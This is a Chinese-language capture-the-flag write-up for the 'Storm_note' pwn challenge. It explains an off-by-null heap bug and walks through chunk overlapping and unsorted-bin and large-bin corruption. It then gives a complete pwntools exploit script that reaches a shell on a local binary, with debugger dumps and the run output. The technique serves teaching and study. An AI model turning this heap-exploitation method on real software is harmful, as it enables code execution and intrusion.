off-by-one是堆溢出中比较有意思的一类漏洞,漏洞主要原理是 malloc 本来分配了0x20的内存,结果可以写 0x21 字节的数据,多写了一个,影响了下一个内存块的头部信息,进而造成了被利用的可能,这里就以西湖论剑的一道题目来讲解这个漏洞
http://file.eonew.cn/ctf/pwn/Storm_note
首先检测一下程序检测,该开的都开了
Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec Storm_note
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
首先用IDA观察一下程序,有delete_note,backdoor,alloc_note,edit_note四个功能
while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v3);
if ( v3 != 3 )
break;
delete_note();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 666 )
backdoor();
LABEL_15:
puts("Invalid choice");
}
else if ( v3 == 1 )
{
alloc_note();
}
else
{
if ( v3 != 2 )
goto LABEL_15;
edit_note();
}
}
程序执行之前有这个初始化函数,可以看到关闭了 fastbin 机制
ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) )
exit(-1);
if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)2882338816LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}
可以看到输入size之后,程序会calloc一块内存(calloc类比malloc),存放note,而note_size则存放在note后面
for ( i = 0; i <= 15 && note[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size ?");
_isoc99_scanf("%d", &v1);
if ( v1 > 0 && v1 <= 0xFFFFF )
{
note[i] = calloc(v1, 1uLL);
note_size[i] = v1;
puts("Done");
}
else
{
puts("Invalid size");
}
}
note存放信息如下
bss:0000000000202060 ?? ?? ?? ?? ?? ??+note_size dd 10h dup(?) ; DATA XREF: alloc_note+E1↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+ ; edit_note+8E↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+ ; delete_note+BE↑o
.bss:00000000002020A0 public note
.bss:00000000002020A0 ; _QWORD note[16]
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+note dq 10h dup(?) ; DATA XREF: alloc_note+2D↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; alloc_note+C6↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+A8↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+D0↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+82↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+A2↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+_bss ends
edit 从 note 和 note_size 中根据索引取出需要编辑的堆块的指针和 size,使用 read 函数来进行输入。之后将末尾的值赋值为 0,这里存在 off by null 漏洞。
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
puts("Content: ");
v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0; // off-by-one
puts("Done");
}
else
{
puts("Invalid index");
}
可以看到输入 index 之后程序 free 掉 note 和 note_size 之后做了清零操作,不存在UAF漏洞
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
free((void *)note[v1]);
note[v1] = 0LL;
note_size[v1] = 0;
}
else
{
puts("Invalid index");
}
可以看到system("/bin/sh");函数,函数首先读 0x30 长度,然后输入的内容和 mmap 段映射的内容相同即 getshell
v1 = __readfsqword(0x28u);
puts("If you can open the lock, I will let you in");
read(0, &buf, 0x30uLL);
if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
system("/bin/sh");
exit(0);
这里首先我们连续申请7块chunk,这里是三个一组,两组 chunk 中的中间一个大的 chunk 就是我们利用的目标,用它来进行 overlapping 并把它放进 largebin 中
alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6
布局如下图
然后我们伪造 prev_size
# 改pre_size为0x500
edit_note(1, 'a'*0x4f0 + p64(0x500))
调试可以看到
gdb-peda$ x/30gx 0x55dc2ede84f0
0x55dc2ede84f0: 0x6161616161616161 0x6161616161616161
0x55dc2ede8500: 0x6161616161616161 0x6161616161616161
0x55dc2ede8510: 0x6161616161616161 0x6161616161616161
0x55dc2ede8520: 0x0000000000000500 0x0000000000000000 => fake prev_size
0x55dc2ede8530: 0x0000000000000000 0x0000000000000021
0x55dc2ede8540: 0x0000000000000000 0x0000000000000000
0x55dc2ede8550: 0x0000000000000000 0x0000000000000021
0x55dc2ede8560: 0x0000000000000000 0x0000000000000000
0x55dc2ede8570: 0x0000000000000000 0x0000000000000511
0x55dc2ede8580: 0x0000000000000000 0x0000000000000000
0x55dc2ede8590: 0x0000000000000000 0x0000000000000000
0x55dc2ede85a0: 0x0000000000000000 0x0000000000000000
0x55dc2ede85b0: 0x0000000000000000 0x0000000000000000
0x55dc2ede85c0: 0x0000000000000000 0x0000000000000000
0x55dc2ede85d0: 0x0000000000000000 0x0000000000000000
释放掉chunk 1至unsort bin然后创建chunk 0来触发off by null,这里选择 size 为 0x18 的目的是为了能够填充到下一个 chunk 的 prev_size,这里就能通过溢出 00 到下一个 chunk 的 size 字段,使之低字节覆盖为 0。
delete_note(1)
# off by null 将1号块的size字段覆盖为0x500
edit_note(0, 'b'*(0x18))
调试可以看到chunk1已经被放进了 unsorted bin
gdb-peda$ x/20gx 0x562071ea0020-32
0x562071ea0000: 0x0000000000000000 0x0000000000000021
0x562071ea0010: 0x6262626262626262 0x6262626262626262
0x562071ea0020: 0x6262626262626262 0x0000000000000500
0x562071ea0030: 0x00007fe9f2875b78 0x00007fe9f2875b78
0x562071ea0040: 0x0000000000000000 0x0000000000000000
0x562071ea0050: 0x6161616161616161 0x6161616161616161
0x562071ea0060: 0x6161616161616161 0x6161616161616161
0x562071ea0070: 0x6161616161616161 0x6161616161616161
0x562071ea0080: 0x6161616161616161 0x6161616161616161
0x562071ea0090: 0x6161616161616161 0x6161616161616161
接下来我们申请两块chunk,因为关闭了 fastbin 机制,所以会从unsorted bin上,然后delete掉它们,那么就会触发这两个堆块合并,从而覆盖到刚刚的 0x4d8 这个块
alloc_note(0x18)
alloc_note(0x4d8)
delete_note(1)
delete_note(2) # unlink进行前向extend
调试如下,index为7的指向的地方和unsortedbin里面的chunk已经重叠了
gdb-peda$ x/20gx 0x5564795ff000
0x5564795ff000: 0x0000000000000000 0x0000000000000021
0x5564795ff010: 0x6262626262626262 0x6262626262626262
0x5564795ff020: 0x6262626262626262 0x0000000000000531
0x5564795ff030: 0x00007f8305be4b78 0x00007f8305be4b78
0x5564795ff040: 0x0000000000000000 0x0000000000000000
0x5564795ff050: 0x0000000000000000 0x0000000000000000
0x5564795ff060: 0x0000000000000000 0x0000000000000000
0x5564795ff070: 0x0000000000000000 0x0000000000000000
0x5564795ff080: 0x0000000000000000 0x0000000000000000
0x5564795ff090: 0x0000000000000000 0x0000000000000000
alloc_note(0x30)之后2号块与7号块交叠,这里 add(0x30) 的 size 为 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指针
alloc_note(0x30) # 1
alloc_note(0x4e8) # 2
接下来的原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4
接下来需要我们控制 unsort bin 和 large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)
由于unsorted bin是FIFO(队列模式),所以可以先删除2号块,再申请他,由于先检查队列尾部,也就是原先4号块的chunk部分,发现chunk大小不够大,然后将其放入large bin中。该chunk由8号块控制。然后,继续删除2号块,那么此时unsorted bin里还剩下2号块,该部分通过7号块来控制。
gdb-peda$ x/20gx 0x55609685a000
0x55609685a000: 0x0000000000000000 0x0000000000000021
0x55609685a010: 0x6262626262626262 0x6262626262626262
0x55609685a020: 0x6262626262626262 0x0000000000000041
0x55609685a030: 0x0000000000000000 0x0000000000000000
0x55609685a040: 0x0000000000000000 0x0000000000000000
0x55609685a050: 0x0000000000000000 0x0000000000000000
0x55609685a060: 0x0000000000000000 0x00000000000004f1 => chunk 2
0x55609685a070: 0x00007fec67d73b78 0x00007fec67d73b78 => unsorted bin
0x55609685a080: 0x0000000000000000 0x0000000000000000
0x55609685a090: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/20gx 0x55609685a570
0x55609685a570: 0x6161616161616161 0x0000000000000051
0x55609685a580: 0x0000000000000000 0x0000000000000000
0x55609685a590: 0x0000000000000000 0x0000000000000000
0x55609685a5a0: 0x0000000000000000 0x0000000000000000
0x55609685a5b0: 0x0000000000000000 0x0000000000000000
0x55609685a5c0: 0x0000000000000000 0x00000000000004e1 => chunk 5
0x55609685a5d0: 0x00007fec67d73f98 0x00007fec67d73f98
0x55609685a5e0: 0x000055609685a5c0 0x000055609685a5c0
0x55609685a5f0: 0x0000000000000000 0x0000000000000000
0x55609685a600: 0x0000000000000000 0x0000000000000000
接下来我们伪造 fake_chunk,通过 chunk7 控制 chunk2
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20
payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit_note(7,payload)
同样的通过 edit(8) 来控制 chunk5
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)
edit_note(8,payload2)
接下来我们需要触发后门
edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)
sh.interactive()
exp如下
from pwn import *
r = process('./Storm_note')
elf = ELF('./Storm_note')
context.log_level = "debug"
if args.G:
gdb.attach(r)
def alloc_note(size):
r.sendline('1')
r.recvuntil('?')
r.sendline(str(size))
r.recvuntil('Choice')
def edit_note(idx, mes):
r.sendline('2')
r.recvuntil('?')
r.sendline(str(idx))
r.recvuntil('Content')
r.send(mes)
r.recvuntil('Choice')
def delete_note(idx):
r.sendline('3')
r.recvuntil('?')
r.sendline(str(idx))
r.recvuntil('Choice')
alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6
edit_note(1, 'a'*0x4f0 + p64(0x500))
delete_note(1)
edit_note(0, 'b'*(0x18))
alloc_note(0x18)
alloc_note(0x4d8)
delete_note(1)
delete_note(2)
alloc_note(0x30)
alloc_note(0x4e8)
# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4
# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20
payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit_note(7,payload)
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)
edit_note(8,payload2)
# 0xabcd00f0
alloc_note(0x48)
edit_note(2, p64(0) * 8)
r.sendline('666')
r.sendline('\x00'*0x30)
r.interactive()
运行结果如下
Thunder_J@Thunder_J-virtual-machine:~/桌面$ python exp.py
[+] Starting local process './Storm_note': pid 16030
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
: If you can open the lock, I will let you in
$ ls
exp.py HITCON-Training Storm_note test.py vmware-tools-distrib
$ whoami
Thunder_J
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './Storm_note' stopped with exit code 0 (pid 16030)
[*] Got EOF while sending in interactive
这种漏洞因为只能利用一个字节,需要我们多去思考如何构造chunk
参考链接
http://blog.eonew.cn/archives/709
https://blog.csdn.net/weixin_40850881/article/details/80293143